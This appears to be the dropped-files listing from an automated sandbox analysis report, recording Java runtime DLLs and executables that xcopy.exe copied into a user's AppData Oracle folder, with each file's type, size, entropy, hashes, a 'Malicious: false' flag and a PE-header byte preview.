MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......hs.,,...,...,...%j\. ....v.~.....v.~*....v.~9....v.~ ..._p.~(..._p.~&....v.~)...,.
..3....v.~ ....v.~.....v.~-....v0.-....v.~-...Rich,...........PE..L......\...........!........................................................p......C8....@......................... ...P...p........@...............@..x....P.......
...............................0...@...............l............................text............................... ..`.rdata...l.......n..................@..@.data...4....0......................@....rsrc........@.......$.........
.....@..@.reloc.......P.......(..............@..B.........................................................................................................................................................................................................
...............................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\glass.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 216440

Entropy (8bit): 6.427045773449867

Encrypted: false

SSDEEP: 6144:HlG7qMlz6ojZw2Q6Eb17zosGSLW47BsA+h4:FG71z6ojZwz7z/HL986

MD5: 3E8D0880879A1E36C0D5DA515C8139E3

SHA1: 3627BEC3FC1DDC1D21470173018936687ED509E5

SHA-256: 5D0C5FDF0C716E8964AFFC563F6C7198EC46F51486F4A9346CB592A5DEEC1DD4

SHA-512: 6C6A360A3ECDC5B5BCA6F16781DD173BAFED7EE503482EF45C8FE38E05BC56AE1D3BBF6811302387586817564E24E37B3D73E851AD47A6201E8C48152C909423

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I<k{.].(.].(.].(.%.(.].(.9.).].(.9.).].(.9.).].(~?.).].(~?.).].(.].(.\.(.9.).].(.9.).].
(.9.).].(.9.(.].(.9.).].(Rich.].(........PE..L......\...........!.........2............... ...............................p............@....................................@.......X&...........2..x....@...+...R......................,R.
.....pQ..@............ ......4........................text...,........................... ..`.rdata...... ......................@..@.data...P)......."..................@....rsrc...X&.......(..................@..@.reloc...+...@...,
..................@..B..............................................................................................................................................................................................................................................
..........................................................

C:\Users\user\AppData\Roaming\Oracle\bin\glib-lite.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 600952

Entropy (8bit): 6.18356989077687

Encrypted: false

SSDEEP: 12288:lhEIYZl475HefXezhFTpB9un/veVnHdyPII3EiV+eaVT:TmZl8HefXezhFTdzdHdIILs+eaVT

MD5: 0E4C62678621938644198E73A3A6203A

SHA1: A56FF96755C47F068B55771290528A9249D73DC2

SHA-256: F7113CC124BC55839238E2110534CC7A8D3373E4919E1D4EDE4E76C8CA24F03F

SHA-512: 7FAF4D6E4586D55163D2B07F67629374783CE9B9E74551B489F1689480A36B7A6B99329929D861A8B04C0D494E1D3B62476685EC0D68620636DF38506582CCE8

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Yf.8...8...8...@...8..c\...8../...8..c\...8..c\...8..c\...8..Z\...8..Z\...8...Z..
.8...8...9..Z\...8..Z\...8..Z\...8..Rich.8..................PE..L...a..\...........!.........(...............................................`............@.....................................|.... ..................x....0.. *..............
....................0...@...............d............................text...{........................... ..`.rdata..............................@..@.data....!..........................@....rsrc........ ......................@..@.reloc.. *..
.0...,..................@..B........................................................................................................................................................................................................................................
................................................
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C:\Users\user\AppData\Roaming\Oracle\bin\gstreamer-lite.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 743288

Entropy (8bit): 6.723795053093137

Encrypted: false

SSDEEP: 12288:Q57+rmVuj0ks5YDlLsi/UtY8Rtw8FhGSeENli2knXSUEknwLQEsfvc6D5RlWGyci:K+rT0krlQiG3tvhbeMkXS+w0RQ

MD5: D55C8440D84ACF28878F18C3CE1B2597

SHA1: 3B21E119A7956482284A9C4C112A7F27E8343689

SHA-256: 210C28AAB1592B8213A2B2909640602E26C3D65A42B333B6BF33ED5016AB1F56

SHA-512: C3B5FA5FB40856CA891122DADD9A3F4B0C3DA7962354678C8D844D1734E5372476B44274E7EEB01C44EFB2AD589CD7B429F25E2624A8071F63FC0303951A5F15

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.?'..Qt..Qt..Qt...t..Qt.Pu..Qt.a.t..Qt.Ru..Qt.Tu..Qt.Uu..Qt..
Uu..Qto.Pu..Qt..Pu..Qt..Pt0.Qt..Qu..Qt...t..Qt..Su..QtRich..Qt........PE..L...{..\...........!.....:..................P......................................;C....@..........................................................
<..x.... ...b..................................0...@............P...............................text....8.......:.................. ..`.rdata..Jw...P...x...>..............@..@.data...D1..........................@....rsrc........
.......................@..@.reloc...b... ...d..................@..B.......................................................................................................................................................................................
.........................................................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\hprof.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 133496

Entropy (8bit): 6.673761407092987

Encrypted: false

SSDEEP: 3072:b0V2kbLSSaDdr8814VRGx+wEG4lgb371xiEvtmqdrkCB/jKChyNCY0:ibL9q4M11jKe+J0

MD5: 560352A60930E13DCF009FDC21D285E9

SHA1: E3BEE840439183174FF4515817ED2D0C3298B9B4

SHA-256: C74610342A1DF8ED01DBFD9638E24B72B1942973C2EB844C7E0B92863AEAFAFC

SHA-512: 2CDB4B03A6A7AE5F83A9C86491949E7D180309CE6215921D37C5C229BF26EF200BA14B41A7ADF115563532825A7882B9D99D7580F482597DB30BC9CEE39A85BA

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........vu^............8Y...............................o..........................................
....Rich............................PE..L.....\...........!.....z...x......_........................................ ............@.............................i...|...d.......................x........................................... ...@..........
.....d............................text...Ny.......z.................. ..`.rdata...N.......P...~..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@
..B...........................................................................................................................................................................................................................................................................
.............................

C:\Users\user\AppData\Roaming\Oracle\bin\instrument.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 117112

Entropy (8bit): 6.75718536073561

Encrypted: false

SSDEEP: 3072:Oeq+/VOu1/k6n63ycdxMULqMe1UfTBfrUkgnEKb:OeqaFk663yUOULq71UfTBQ3b

MD5: 3803A4CA553543BA62A27429FFD01BB1

SHA1: 3C1D3D8F10BA54F8A7C0345ADBEF28E99FCABABD

SHA-256: 64EE3AE58581F3D0DDAB52E84293AF24DB52CEE6C27634697CE47C9D029B72B6

SHA-512: 1C4C95A49200F481E2E58DB547282C453DFEDEDEDCE4775D8A207F52DCA671B661F06A7A7AB2F854C514D3232DA20A6033FA46D74CA9C5CE676B9174DD3E178
C

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........g0...c...c...c..c...c...c...cP..c...c.|.c...c.|.c...c.|.c...c.|.c...c.|.c...c.|.
c...cRich...c........PE..L.....\...........!................8........0.......................................]....@.........................`...........(.......................x...........p1..............................H...@............0..
0............................text............................... ..`.rdata...f...0...h... ..............@..@.data....,..........................@....rsrc...............................@..@.reloc..b...........................@..B..
..............................................................................................................................................................................................................................................................................
................................................

C:\Users\user\AppData\Roaming\Oracle\bin\j2pcsc.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 17272

Entropy (8bit): 6.505530589091723

Encrypted: false

SSDEEP: 384:DIoJkyh9wlSZnDonPV5CyEbbXj+fI8JN77hh1f:DBJkWWoJkndKbTj+fr3hLf

MD5: 89FFE1C55ECA478EB147CAE6452E4E5D
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SHA1: 568237B73667C1CBB1DEC349E71DC4BB8C0BF433

SHA-256: EB4A811A4BE7820B8C43D923B447D6D356141B7B82A372C13E0B5524D504FB29

SHA-512: 8BAD680D0CF79CCBDB4C355B40BB9BBE00E12A37FE3705F6529F67C618F9E640E89E70EF982EDD071E93CDA017D0BBAA58B912F45B4D66D6D2B0F33AB96DD
4CB

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3...w.x^w.x^w.x^...^v.x^l..^u.x^l..^u.x^l..^u.x^~..^r.x^w.y^[.x^l..^y.x^
l..^v.x^l..^v.x^l..^v.x^Richw.x^........PE..L.....\...........!.........................0...............................p............@..........................7.......2..P....P...............(..x....`..`....0..............................`
1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...h....@....... ..............@....rsrc........P......."..............@..@.reloc.......`.......&.
.............@..B...................................................................................................................................................................................................................................................
.....................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\j2pcsc.dll

C:\Users\user\AppData\Roaming\Oracle\bin\j2pkcs11.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 53112

Entropy (8bit): 6.5535314618132645

Encrypted: false

SSDEEP: 1536:/+BduP0Ds762bvlcfNpJ2jApICRrZT9ixHCWaBo/vu0rV9LrBH1bjPEwhEdheBws:/+/ucibSfF2jRksWpJNG

MD5: 739F1EDB0882495179258424D34B7F33

SHA1: 1AFB3000419BAED6F3D9E7A6DD638B5A448E4066

SHA-256: 0E889F5159CA3C24E162CE3D786E5E3FA7A9794376D9E16251E3C76885352FA7

SHA-512: 94CF49FE6A5D089B4FA751FFC4C8C8AD75FD788E607A7F49B6BDE1D1256CAF301A1AD834CFCFD084BCC261CAA253FA1C50B7B1082114E04B5FAFE991BFDE2
6F8

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O^;w.?U$.?U$.?U$.G.$.?U$...$.?U$.?T$&?U$...$.?U$...$.?
U$...$.?U$...$.?U$...$.?U$...$.?U$Rich.?U$........................PE..L.....\...........!.....z...8......\.....................................................@.........................p...u...\...<.......................x......
........................................@............................................text...nx.......z.................. ..`.rdata...'.......(...~..............@..@.data...............................@....rsrc...............................
@..@.reloc..|...........................@..B........................................................................................................................................................................................................................
........................................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\jaas_nt.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 20344

Entropy (8bit): 6.3904490465869035

Encrypted: false

SSDEEP: 384:4qGHJW0MQYLRVvWIE0PVlKsogj+zst8JN77hhZutH:4xHmQYN8kdQpgj+AK3hDuJ

MD5: A7ECC63FA2B4E44DD472ECB0F8123A95

SHA1: D2796DAAF3FF8072776310D845C09E5B5A2DA4FE

SHA-256: DE4E517272D8438072211570EE1E4B53DB44652218917F88B873B1E0E56CE93D

SHA-512: 820B001B37B777C8C6BAEC6FE61E163127C192855C1F158E1523BBE896A833581B1E7EC3B2F4156701574B11C9D6DFCE10A655D820E3597BF414A7B618636790

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."..|fl./fl./fl./}.(/dl./}.*/gl./}../dl./o.'/al./fl./_l./}../kl./}.//gl./}../gl./}.)/gl./Rich
fl./................PE..L.....\...........!.........................0...............................p............@.........................@=.......7..d....P...............4..x....`..H....1..............................`6..@............0...
............................text............................... ..`.rdata.......0......................@..@.data...`....@.......*..............@....rsrc........P.......,..............@..@.reloc.......`.......0..............@..B...
..............................................................................................................................................................................................................................................................................
.......................................

C:\Users\user\AppData\Roaming\Oracle\bin\jabswitch.exe
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 31608

Entropy (8bit): 6.4517990036237896

Encrypted: false

SSDEEP: 768:pHhfWinfwUFAvnbETIUh+naSOu91VQ5yj+p3hsHV:Huin5FAvoTIUh+nb1VQ5Jp3hsHV

MD5: 8778B12BCD40FF36BD4377D6D448BE29

SHA1: 2D60AA91BED94C28054307C80020A4CA6DFE3622

SHA-256: F645BE3BA8F0BAFE1BAC89E813E13140D7FBA2112BBFF967D32918D8579BBFA5

SHA-512: CB02B744F9E57145CCB96F1A30838F891912EB5A1499D47B578F09A37D1F470D2B159796B83C4960475D0ED39739923DB344096902A44728D7EB655050C5A5BE

Malicious: false
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............I...I...I..HI...I..JI...I..~I...I..GI...I...I..I...I...I..NI...I..II...IRich...I......
..PE..L.....\.................0...,.......1.......@....@.................................`.....@.................................dR..x....p...............`..x.......t....A...............................P..@............@..p..................
..........text............0.................. ..`.rdata.......@.......4..............@..@.data........`.......N..............@....rsrc........p.......P..............@..@.reloc..p............Z..............@..B.....................
..............................................................................................................................................................................................................................................................................
.....................................

C:\Users\user\AppData\Roaming\Oracle\bin\jabswitch.exe

C:\Users\user\AppData\Roaming\Oracle\bin\java-rmi.exe
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 16248

Entropy (8bit): 6.498340727085624

Encrypted: false

SSDEEP: 384:GpsxHnDia9TejmSHhV8x5YeCuIj+I118JN77hhKU:GpsxHnVHS/8x5tCuIj+0S3hQU

MD5: BCEDCDCA329C4EB6CF10E970273345DE

SHA1: 6CC296055F380BD44170A2D914BC110206B5412F

SHA-256: 3D38B8588703546E791E5D05664187B2343700978EAEE65544F4982F43649416

SHA-512: BCA0C7BA0D84F0A21CBE2E9DA647A71AD559D4A7B47FD5B12AC3A68A859143BDEE3132F7582D180213CE7DACBF09296BC9C4F8AA79CFAA7FAE5E4714EFDC
C215

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R%^.<v^.<v^.<vW..v\.<vEx.v_.<vEx.v\.<vEx.v[.<v^.=vo.<vEx.vJ.
<vEx.v_.<vEx.v_.<vRich^.<v........PE..L.....\..................................... ....@..........................`............@..................................#..P....@...............$..x....P....... ...........................
....!..@............ ...............................text............................... ..`.rdata..z.... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P.....
.."..............@..B...............................................................................................................................................................................................................................................
.........................................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\java.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 126840

Entropy (8bit): 6.782112254586264

Encrypted: false

SSDEEP: 3072:RSoAtOm8tlNOY4nnTdLC0/NZ3p71nyIn/8Nw9wrhSGR:RIOmVTdLL4CFOR

MD5: 1988319262C8461C0D354D29B7164554

SHA1: 1E68F3A3ABF49816380AB577FEADBE2B0F0BC3CF

SHA-256: 5043B05638292F0563FD1F79181AECD275D450E5B040DE60CE3426092220B0C0

SHA-512: 67677D6D7374FCC887A289653938EBFD1E209155D4671E8819D9CE76EE2E36A5A2CFF191DBAC5CF9C750F186141A5F0C336DFD34379361E06680F582D02FE0D5

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......w...3...3...3...(...4...(./.1...:...5...\./.0...:...2...(...4...3.......(...J...(...2...(...
2...(...2...Rich3...................PE..L.....\...........!.................'.......0......................................Hm....@..........................u...B...U..........................x.......,....5...............................S..@
............0......lU..@....................text............................... ..`.rdata.......0......."..............@..@.data...............................@....rsrc...............................@..@.reloc..p..................
.........@..B.......................................................................................................................................................................................................................................................
.................................................

C:\Users\user\AppData\Roaming\Oracle\bin\java.exe
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 192376

Entropy (8bit): 6.757249265537466

Encrypted: false

SSDEEP: 3072:ZWos+tGEkBbq6D3BdsdRM5xzgglg8S7UnatoTBf3bmjZqMNT2rIWD2:lspTq6Ndsvezdlg8S7watoTB2vi92

MD5: 28733BA8C383E865338638DF5196E6FE

SHA1: F3FA35DB0FF65B94E18D0B556A691853BDE0F692

SHA-256: E58109151395D6E8668A750C5D107FC691C7C9D5E488486869AF2A1876B1504A

SHA-512: B6808381E74CBA7501D86D075A84989A8147479DF181EBF87BC0BD275EDCCE28FBC7AE90354E280D201AE6D5F97324A080222CC851C1C45A8DFEA71BA3097FC
2

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........+H..E...E...E.L.....E..E....E..E....E......E...D...E..E..{.E..E....E..
E....E.Rich..E.........PE..L.....\.....................&......7.............@..........................0............@.................................L*..d.......................x.......$....................................#..@.............
...............................text............................... ..`.rdata...s.......t..................@..@.data....4...@......."..............@....rsrc................8..............@..@.reloc..............................@..B
..............................................................................................................................................................................................................................................................................
..........................................................

C:\Users\user\AppData\Roaming\Oracle\bin\java_crw_demo.dll
Process: C:\Windows\SysWOW64\xcopy.exe
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File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 24440

Entropy (8bit): 6.615275730279901

Encrypted: false

SSDEEP: 384:xx8xsGjyS/uj1ZrEZBrmnXWftpnPV5mzoqj++UJn8JN77hhDyB:YuSGj1w6O7ndEoqj++UJs3hxK

MD5: F9550DA74A8D197A3DD25C72402E78A5

SHA1: 958163C425A227A146E85D1BF8636042944B7C9C

SHA-256: 8AC7DA134900362253EBAD2C5C14D69D4DE012BC9ED3F07D04DF333E138439F5

SHA-512: F9A6E5884E7305AF4AB2942A7AF1617B8AC43FEB3267832FBF063C4EE9E903C001AC6606D8EEEDB50DFF87257807007B67C5B9BC7A87CBCE250052F4EEC75FC
1

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2..v...v...v.....+.t...m'$.u...v...\...m'&.w...m'..t...m'..{...m'#.w...m
'".w...m'%.w...Richv...................PE..L.....\...........!.....*...........4.......@.......................................v....@..........................I..|....E..<....`...............D..x....p.......@......................
.........D..@............@...............................text....).......*.................. ..`.rdata.......@......................@..@.data...(....P.......:..............@....rsrc........`.......<..............@..@.reloc..^....p
.......@..............@..B..........................................................................................................................................................................................................................................
..............................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\java_crw_demo.dll

C:\Users\user\AppData\Roaming\Oracle\bin\javacpl.cpl
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 162816

Entropy (8bit): 6.478081267870417

Encrypted: false

SSDEEP: 3072:c82bFfGMMHcwDKadNV8zQLnjZqMNE+BP:cRttMHc2KadPZvj

MD5: 23D4CE9539D97E3A82B26F64AFE51934

SHA1: 6DE0D6B53CE0658108A8A7BADFA3D0803B276E0B

SHA-256: BDE45AC8606CE62AA0F7A8DC8EC6DA591664FB37B4A4B883E1792F8B564187B4

SHA-512: 54CF98D3F53E4259574169F110521655D9E1ED8F1F18C77D6842175F88A213BBDD4AD56A6D55D68E685E25D9742532F2C49E5834756BB9FC2D4BED3432BF58FA

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d2.. S.. S.. S..;.;.9S..;....S..)+6.)S.. S...S..O%..(S..;....S..;.>.!S..
;.?.!S..;.8.!S..Rich S..........................PE..L...?.\...........!.....v... .......w....................................................@.............................Z.......d.... ..........................l...`..................................
.@............................................text...@u.......v.................. ..`.rdata...L.......N...z..............@..@.data...l3..........................@....rsrc........ ......................@..@.reloc...............^...
...........@..B.....................................................................................................................................................................................................................................................
...........................................................

C:\Users\user\AppData\Roaming\Oracle\bin\javacpl.exe
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 74616

Entropy (8bit): 6.341209283577633

Encrypted: false

SSDEEP: 1536:SgmG2haDkdWIJ7OkUVq7qjh3rmKPNdTB63hvc:ZE+bgOkINjZqMNdl2c

MD5: 3FAC97B1ED8915100DF8EE90AE06D890

SHA1: 8F667F8427739A8DAD4E389A48CB0DE173B80171

SHA-256: 40BAB5330D940D10090C1023B89CF5825906FB64DF719A25A970D681B6AED676

SHA-512: EDDB42AC47002960FBE805EF5503456815F6D4FCA1C49DD73D05095D23B92FCC0B42C166067D9029AD77B56A6E95B2AB9C678A656ADDCB5D104FA6708C5D9F5
C

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]._...1...1...1..8....1.....1..8....1..8....1......1...0...1.v....1..8....1..8....
1..8....1.Rich..1.........PE..L...W.\.................F..........:G.......`....@..........................@............@.................................P...x.......................x....0..4...0b..............................0|..@
............`...............................text....D.......F.................. ..`.rdata.../...`...0...J..............@..@.data................z..............@....rsrc................|..............@..@.reloc.......0.............
.........@..B.......................................................................................................................................................................................................................................................
.................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\javafx_font.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 58744

Entropy (8bit): 6.606153663376911

Encrypted: false

SSDEEP: 1536:wiEA4Ynzgz8R2tRsC7RH5UfJTT8Om6YxJou53h628:wi0QR2tN7AfF8d6Y8ua28

MD5: B5C38AA2C91CAACCC19233B5B7837C6F
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SHA1: 5B9D8BC150CDDA3DCB555DC06D4B13D6FFA7F143

SHA-256: B21D8168D28F8C5D2A5D98F56A2A3D0327331E2C2602A58A8538A0CD2CD2FD46

SHA-512: 2795927F40ACC03910F025860E91B3F5FDED1B7E601BD4B4A50EBE6264DDFAE06575CDBA6350C18EB6681015F1634FEE948B9627FA004D431EFD8AABD0ACEF
B7

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................Q........+......Q.......Q.......Q..............................h.....
..h.......h.......h.......h.......Rich............PE..L......\...........!.....p...\.......s...............................................G....@............................x...h...........................x.......X....................................
...@...............@............................text....n.......p.................. ..`.rdata...E.......F...t..............@..@.data...............................@....rsrc...............................@..@.reloc..X..............
.............@..B...................................................................................................................................................................................................................................................
.....................................

C:\Users\user\AppData\Roaming\Oracle\bin\javafx_font.dll

C:\Users\user\AppData\Roaming\Oracle\bin\javafx_font_t2k.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 469880

Entropy (8bit): 6.604403913705833

Encrypted: false

SSDEEP: 6144:p3kxh6DqypODvUXai0jdbdRCqBjA7dB1stHs1ngVc/T6yF9HvofFGMReiDR8R/bq:2A26uhi4dbdRCqC7duanV/bPodGS2e9X

MD5: 0D6DF3B9A303E92B798F977890E1895A

SHA1: 1207E665BBE6E308757B042F415C59FEE5B3D414

SHA-256: 05EC925EEDAA7C3E69AD0EA98ECF4D43CE14377B8786F6C5AEC722FBABB443A4

SHA-512: 0747EBF613E282CE996EBD0BEC42BDDAF6747E340FF86EDE85068F6867559DD94170A061D2FBE41051AF04E919A511FA9D1F21048B89511C8976598CE51C9DE1

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.H.#.&.#.&.#.&.*../.&...'.!.&....'.&...%.&.&...#.6.&...".(.&.P.'.$.&.#.
'.q.&..."...&...#.x.&...&.".&....".&...$.".&.Rich#.&.................PE..L......\...........!................}........0...............................P............@......................... ...................................x.... ..\&.....
.................................@............0..H............................text............................... ..`.rdata......0......................@..@.data...............................@....rsrc...............................@..@.rel
oc..\&... ...(..................@..B................................................................................................................................................................................................................................
........................................................

C:\Users\user\AppData\Roaming\Oracle\bin\javafx_iio.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 138616

Entropy (8bit): 6.577168169432668

Encrypted: false

SSDEEP: 3072:tA5ee6KcqOOWm96dhkO8LuuKBnVrp4gutFHNsB:tA5AK7OQQfkVLuuurOtFuB

MD5: 6C5EE1974EBA4858EE1021A9121F16A6

SHA1: 1C17AF0F40767480C2334D94425E37F76D4CCDDD

SHA-256: 559C5D9F513503158380E1D34B41659C4D0DEE3CCBD08CEF653964CD18A54B19

SHA-512: A9E8A0E6EF34717290CC1321FC5002CA3F8DB5FF8B4BE4A5BF96C82DB5DAC546E398FBBACB916D05290DDDF9058DE3937E04F9DA7D5EF3A8E46FC0AD877105
A3

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y.E.=.+L=.+L=.+L4..L7.+L.*M?.+LN.*M>.+L=.*L..+L.(M<.+L..M6.+L.
/M6.+L./M..+L.+M<.+L..L<.+L.)M<.+LRich=.+L........PE..L......\...........!.........D......m........................................@...........@.........................0.......,........ ..................x....0.........
.................................@............................................text.............................. ..`.rdata...2.......4..................@..@.data...............................@....rsrc........ ......................@..@.rel
oc.......0......................@..B................................................................................................................................................................................................................................
................................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\javaw.exe
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 192376

Entropy (8bit): 6.761593244493689

Encrypted: false

SSDEEP: 3072:p0o+iwdnP6ngIsIC18pVwUM0NldXnSsohU4TBfHqKjZqMN6wVzQQY:p0eg6ZsICYwUJzdXnSpU4TBdvD2QY

MD5: 4BFEB2F64685DA09DEBB95FB981D4F65

SHA1: CD4007094CD1D9792CEDBE699502FB15D9BD370A

SHA-256: A181BEFBC33B658305498CDAFF3EDA6512701003BF7144C8E95E953D2638A933

SHA-512: A41BB47CF769BA474B4B43B4BC312E8C542922AFF5913AD10DF02F2C834B7E7C349767A420311A92FF1A8721C62176CE5CA879847C3DB5DC789129F7611AFA56

Malicious: false
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........v...%...%...%..w%...%.7D%...%.7q%...%..|%...%...%...%.7E%*..
%.7u%...%.7r%...%Rich...%........................PE..L.....\.....................&......V.............@..........................0............@.................................L*..d.......................x.......$.................
...................$..@............................................text............................... ..`.rdata...s.......t..................@..@.data....4...@......."..............@....rsrc................8..............@..@.rel
oc..............................@..B................................................................................................................................................................................................................................
........................................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\javaw.exe

C:\Users\user\AppData\Roaming\Oracle\bin\javaws.exe
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 300408

Entropy (8bit): 6.458865739115016

Encrypted: false

SSDEEP: 6144:a29mYzedYNAMeo/0/3/A//FE/FzdXoktv/PE:hFCmNAMeo/0/OtE/F1tvk

MD5: F64595565AB90F21992D5964BE538A1B

SHA1: DBBC1CCBCAE1EFCA698B9B1A38D9413A0C655F1C

SHA-256: 6E38C8F64E2EEA1454A69921083602B18EDE7BE0FB44816D9FD90C4409E3AE52

SHA-512: ADED74B21D8803FB4693DB2229CE2CAB0B5E2D01A387DE605235A82DA641C6CC51ECF575958CBD9EEB6CEC8715CBDFD5C1C882A130AC5059888C3310E57FC
C1D

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........,.o...o...o....[..o....n..o....V..o...o...o....o..o....n..o...._..o....X..o..Ri
ch.o..........PE..L.....\............................^k............@..................................Y....@.................................pJ..x....P...............z..x........"...................................5..@....................F.
......................text............................... ..`.rdata...x.......z..................@..@.data........`.......J..............@....rsrc........P......................@..@.reloc.../.......0...J..............@..B.........
..............................................................................................................................................................................................................................................................................
.................................................

C:\Users\user\AppData\Roaming\Oracle\bin\jawt.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 14712

Entropy (8bit): 6.303771574688693

Encrypted: false

SSDEEP: 192:abn4VZqXr5Yc3XLPVlD6tR4MbL1tJx+w0fH0JOqsmVgz28WhBqoB:auWNb7PVlmNj+V8JN77hhVB

MD5: DC9B3CC131B7CDB14BAA0B6CCCAFFB1F

SHA1: D55A1D7DB43B95475EA48D1C68E4BD38EF2CB2BB

SHA-256: 50E59D9C8F497A4D68B181F408747BBF32E84DFFBB2FD78F954495B584FFCD3A

SHA-512: C2A1A1A052BA6F025D0D704C97E2CAED2BC3B2C72D1474CB62A3F7EE8D4A09F4FC32B6214D86977473B347332E9A1AFF121A359A88A7F20F5E602C4B3091F483

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X"._9LR_9LR_9LRD..R^9LRD..RS9LRD..RZ9LRVA.R]9LR_9MR
|9LRD..R\9LRD..R^9LRD..R^9LRD..R^9LRRich_9LR........PE..L.....\...........!......................... ...............................`............@..........................&..J...\"..P....@..................x..
..P..@.... ...............................!..@............ ...............................text............................... ..`.rdata..Z.... ......................@..@.data...`....0......................@....rsrc........@.................
.....@..@.reloc..t....P......................@..B.........................................................................................................................................................................................................
.......................................................................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\jdwp.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 165752

Entropy (8bit): 6.723497100208418

Encrypted: false

SSDEEP: 3072:Gc5WVPoRd/N1841YIzfmt6YY7jkmzGBkeUiuXb89Dhg3hL1m:ioD/N1RfDFnhe1pDm3nm

MD5: 478CB1C0BF491026C012782BEDCBFBA7

SHA1: 98E46DA57BF33874FB5E24DE9ED309F430145C96

SHA-256: 0BC86567EF9D466E367A0B8DF633108CE2785487ECA84D073A3DA491153A6CFB

SHA-512: DAB2E9BDAD513A0E548E1BA7C622807F29DFE0F663DA6823E61844BB1FE9BF969BA7903E882708A675D8693FF8D73B6B5274352221072FA3473F65E0C30F0894

Malicious: false

Preview:
